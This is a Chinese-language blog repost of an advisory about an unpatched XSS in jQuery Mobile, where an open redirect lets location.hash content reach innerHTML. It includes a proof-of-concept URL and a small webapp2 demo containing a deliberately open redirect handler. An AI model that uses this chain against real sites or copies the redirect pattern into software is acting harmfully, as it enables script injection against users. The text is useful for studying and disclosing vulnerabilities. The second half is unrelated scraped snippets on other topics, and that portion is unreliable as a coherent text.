[0day]jQuery Mobile XSS
漏洞影响范围:
任何一个website使用了 jQuery Mobile 并且开放了重定向都有可能存在XSS,并且目前还没有相关补丁信息。
应用介绍:
jQuery Mobile是jQuery 框架的一个组件(而非jquery的移动版本)。jQuery Mobile 不仅会给主流移动平台带来jQuery核心库,而且会发布一个完整统一的jQuery移动UI框架。支持全球主流的移动平台。jQuery Mobile开发团队说:能开发这个项目,我们非常兴奋。移动Web太需要一个跨浏览器的框架,让开发人员开发出真正的移动Web网站。
详细信息:
漏洞发现作者[Eduardo Vela (sirdar kcat)],在前几个月研究SCP绕过的时候发现jQuery Mobile有一个非常奇怪的行为,它会取URL中的location.hash,输出到innerHTML中。所以决定仔细的分析一下相关原因:
漏洞信息:
1、检查你的jQuery Mobile是否在location.hash中
2、如果看到localtion.hash有URL,它会调用history.pushState,这样你不能调用history.pushState 到跨域URL
3、它会将innerHTML响应到页面中
理论上这个是安全的,但是如果你有任意开放的重定向,就会存在这个XSS,因为对于jQuery Mobile来说history.pushState打开是相同的域
作者在2017年2月8号尝试联系了,jQuery Mobile的团队说:我们认为这个一个Open Redirect的漏洞,而不是他们获取时候锁造成的漏洞,并且不打算进行更新,
如果更新会破坏现有的应用,所以意味着,这个补丁也不会被更新。
测试URL:http://jquery-mobile-xss.appspot.com/#/redirect?url=http://sirdarckcat.github.io/xss/img-src.html
测试代码:
main.py
import webapp2 class MainHandler(webapp2.RequestHandler): def get(self): # pylint:disable-msg=invalid-name
"""Handle GET requests."""
self.response.write("""
<link rel="stylesheet" href="https://code.jquery.com/mobile/1.4.5/jquery.mobile-1.4.5.min.css" />
<script src="https://code.jquery.com/jquery-1.11.1.min.js"></script>
<script src="https://code.jquery.com/mobile/1.4.5/jquery.mobile-1.4.5.min.js"></script>""") class RedirectHandler(webapp2.RequestHandler): def get(self):
"""Handle GET requests."""
self.redirect(str(self.request.get("url"))) APP = webapp2.WSGIApplication([
('/redirect', RedirectHandler),
('/.*', MainHandler),
], debug=True)
app.yaml
application: jquery-mobile-xss
version: 1
runtime: python27
api_version: 1
threadsafe: yes handlers:
- url: /.*
script: main.APP libraries:
- name: webapp2
version: "2.5.2"
从安全从业者的角度来看:每个使用jQuery Mobile,并且开放了重定向都会存在这个XSS漏洞。
另外值得一提的是,如果你使用了随机数SCP策略,但是仍然还可以通过How to bypass CSP nonces with DOM XSS
版权声明:本文为博主原创文章,未经博主同意不得转载. https://blog.csdn.net/xmt1139057136/article/details/35258199 学习jQuery Mob ... 转:http://www.cnblogs.com/linjiqin/archive/2011/07/17/2108896.html 简介:jQuery Mobile框架可以轻松的帮助我们实现非常好看的 ... 在做一个Phonegap+Jqm工程的时候,出现了如题的问题,相信很多人都遇到过Jquerymobile点击body时候header和footer会闪烁的显示和隐藏问题,fixed却并不能真 ... jquery mobile 问题多多,兼容性太差.android4.1下完全崩溃.以后再也不用jquery mobile了 先上最终效果: 最近做了一个用手机浏览器访问的web应用,采用较流行的HTML5,为了提高开发效率节省时间决定采用现有开源框架,免去了自己做设计与兼容性. 一些比较优秀的框架:10大优秀的移动Web应 ... 一.简介 先说说,我们的主题.jQuery Mobile,最近用Moon.Web和Moon.Orm做了一套系统 jQuery Mobile是jQuery 在手机上和平板设备上的版本.jQuery ... 1..ui-mobile-viewport是jquery mobile默认给body加的class,这样的话包含选择符优先级高一点 <style> .ui-mobile-viewport ... 在单页模版中使用基于HTTP的方式通过POST和GET请求传递参数,而在多页模版中不需要与服务器进行通信,通常在多页模版中有以下三种方法来实现页面间的参数传递. 1.GET方式:在前一个页面生成参数并 ... 1.获取jQuery mobile 文件,访问jQuerymobile网站下载 (貌似使用jquery mobile后,jquery会自动在网页中添加一些class类,第一次知道的我是被吓呆的!!) ... 很多想开发iOS,或者正在开发iOS的程序员以前都做过Java或者C++,当第一次看到Objective-C的代码时都会头疼,Objective-C的代码在语法上和Java, C++有着很大的区别,有 ... 1. 如图,在mainwindow中 添加DockWidget到右侧,里面镶嵌TreeWidget. 2. QTreeWidget *treeWidget = new QTreeWidget; // ... 最近编码总是把","和"."搞错,字体实在是太小了,看不清,而且g的显示各个字体显示也是不一样,看的十分难受,果断换字体.分享一下在IDEA2017.2.5中如 ... 1.创建数据 CREATE DATABASE mysql_study; 2.连接数据库 USE mysql_study 3.创建数据表 CREATE TABLE person( id int auto ... 转载自:http://blog.csdn.net/gx1058742912/article/details/51033942 JDK与jRE的区别 JDK(java development kit): ... IE 内使用ActiveX,写注册表被重定向到如下注册表,所以使用注册表做标记要注意下,目前还没找为什么会这样 HKEY_CURRENT_USER\Software\Microsoft\Interne ... Struts2拦截器概述 1 Struts2是框架,封装了很多功能,struts2里面封装的概念都是在拦截器里面 2 Struts2里面封装了很多的概念,有很多拦截器,不是每次这些拦截器都执行,每次执 ... 表的读取顺序 读取操作的类型 可用索引,实际使用的索引 表之间的引用 每张表多少行被优化器查询 索引的长度 EXPLAIN字段解释: ØTable:显示这一行的数据是关于哪张表的 Øpossible ... redirect 标签使用来进行页面之间的重定向,它和传统 JSP 程序中的<jsp:redirect>标记功能相类似.param 标签是和 redirect 一起使用的,它用来进行参数值 ... 今天仿照别人项目,因为不太熟悉Androidstudio,所以就照着他项目结构走,结果包名跟他的不一样,项目一直报标题这个错误,网上百度了很多也没用,不过先把网上的解决方案copy一下 请注意 ① E ...[0day]jQuery Mobile XSS的更多相关文章
随机推荐